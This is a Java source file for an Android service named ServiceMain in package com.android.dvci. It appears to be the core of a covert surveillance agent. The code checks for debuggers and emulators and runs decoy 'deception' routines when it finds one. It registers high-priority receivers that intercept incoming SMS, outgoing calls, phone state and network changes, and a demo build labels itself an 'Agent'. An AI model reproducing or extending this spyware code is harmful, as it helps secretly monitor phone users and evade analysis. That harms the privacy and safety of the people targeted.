package com.android.dvci;
import android.app.Service;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.res.Configuration;
import android.net.ConnectivityManager;
import android.net.wifi.WifiManager;
import android.os.IBinder;
import android.widget.Toast;
import com.android.dvci.auto.Cfg;
import com.android.dvci.listener.BAc;
import com.android.dvci.listener.BC;
import com.android.dvci.listener.BSm;
import com.android.dvci.listener.BSt;
import com.android.dvci.listener.WR;
import com.android.dvci.util.Check;
import com.android.mm.M;
/**
* The Class ServiceCore.
*/
public class ServiceMain extends Service {
private static final String TAG = "ServiceCore"; //$NON-NLS-1$
BSt bst = new BSt();
BAc bac = new BAc();
BSm bsm = new BSm();
BC bc = new BC();
WR wr = new WR();
private Boolean listenersRegistered=false;
private Core core;
public long mersenne;
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
Status.setAppContext(getApplicationContext());
// ANTIDEBUG ANTIEMU
if (!Core.checkStatic()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (onCreate) anti emu/debug failed");
}
if (Cfg.DEMO) {
Status.self().makeToast(M.e("RUNNING"));
}
return;
}
bst = new BSt();
bac = new BAc();
bsm = new BSm();
bc = new BC();
wr = new WR();
if (Cfg.DEBUG) {
Check.log(TAG + " (onCreate)"); //$NON-NLS-1$
}
if (Cfg.DEMO) {
Toast.makeText(this, M.e("Agent Created"), Toast.LENGTH_LONG).show(); //$NON-NLS-1$
}
}
private long deceptionCode3() {
long count = 0;
for (long number = 2; number <= 360; number++) {
if (isPrime(number)) {
long mersennePrime = (long)(Math.pow(2, number)) - 1;
if (isPrime(mersennePrime)) {
count += 1;
}
}
}
return count;
}
public static boolean isPrime(long number) {
if ((number == 1) || (number == 2)) {
return true;
}
for (int i = 2; i <= number/2; i++) {
if (number % i == 0) {
return false;
}
}
return true;
}
@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
if (Cfg.DEBUG) {
Check.log(TAG + " (onStart)"); //$NON-NLS-1$
}
// ANTIDEBUG ANTIEMU
if (Core.checkStatic()) {
// Core starts
core = Core.newCore(this);
core.Start(this.getResources(), getContentResolver());
registerReceivers();
if (Cfg.DEMO) {
Status.self().makeToast(M.e("DEMO AGENT RUNNING"));
}
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (onStart) anti emu/debug failed");
Toast.makeText(Status.getAppContext(), M.e("Debug Failed!"), Toast.LENGTH_LONG).show(); //$NON-NLS-1$
}
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Core.deceptionCode1();
mersenne = deceptionCode3();
Core.deceptionCode2(mersenne);
}
});
thread.start();
}
}
@Override
public void onDestroy() {
super.onDestroy();
unregisterReceiver();
if (Cfg.DEBUG) {
Check.log(TAG + " (onDestroy)"); //$NON-NLS-1$
}
if (Cfg.DEMO) {
Toast.makeText(this, M.e("Agent Destroyed"), Toast.LENGTH_LONG).show(); //$NON-NLS-1$
}
core.Stop();
core = null;
}
private synchronized void registerReceivers() {
IntentFilter intentFilter = new IntentFilter();
registerReceiver(bst, intentFilter);
registerReceiver(bac, intentFilter);
IntentFilter iBsm = new IntentFilter();
iBsm.setPriority(999999999);
iBsm.addAction(M.e("android.provider.Telephony.SMS_RECEIVED"));
registerReceiver(bsm, iBsm);
IntentFilter iBc = new IntentFilter();
iBc.setPriority(0);
iBc.addCategory(M.e("android.intent.category.DEFAULT"));
iBc.addAction(M.e("android.intent.action.NEW_OUTGOING_CALL"));
iBc.addAction(M.e("android.intent.action.PHONE_STATE"));
registerReceiver(bc, iBc);
// WiFi status manager
IntentFilter iWr = new IntentFilter();
iWr.addAction(WifiManager.NETWORK_STATE_CHANGED_ACTION);
iWr.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
registerReceiver(wr, iWr);
listenersRegistered = true;
}
private synchronized void unregisterReceiver() {
if (Cfg.DEBUG) {
Check.log(TAG + " (unregisterReceiver)");
}
if(listenersRegistered){
if (Cfg.DEBUG) {
Check.log(TAG + " (un-registering)");
}
unregisterReceiver(bst);
unregisterReceiver(bac);
unregisterReceiver(bsm);
unregisterReceiver(bc);
unregisterReceiver(wr);
listenersRegistered = false;
}else{
if (Cfg.DEBUG) {
Check.log(TAG + " (skipping already unregistered)");
}
}
}
public void stopListening(){
unregisterReceiver();
}
@Override
public void onConfigurationChanged(Configuration newConfig) {
super.onConfigurationChanged(newConfig);
if (Cfg.DEBUG) {
Check.log(TAG + " (onConfigurationChanged)"); //$NON-NLS-1$
}
}
@Override
public void onLowMemory() {
super.onLowMemory();
if (Cfg.DEBUG) {
Check.log(TAG + " (onLowMemory)"); //$NON-NLS-1$
}
}
@Override
public void onRebind(Intent intent) {
super.onRebind(intent);
if (Cfg.DEBUG) {
Check.log(TAG + " (onRebind)"); //$NON-NLS-1$
}
}
@Override
public boolean onUnbind(Intent intent) {
boolean ret = super.onUnbind(intent);
if (Cfg.DEBUG) {
Check.log(TAG + " (onUnbind)"); //$NON-NLS-1$
}
return ret;
}
}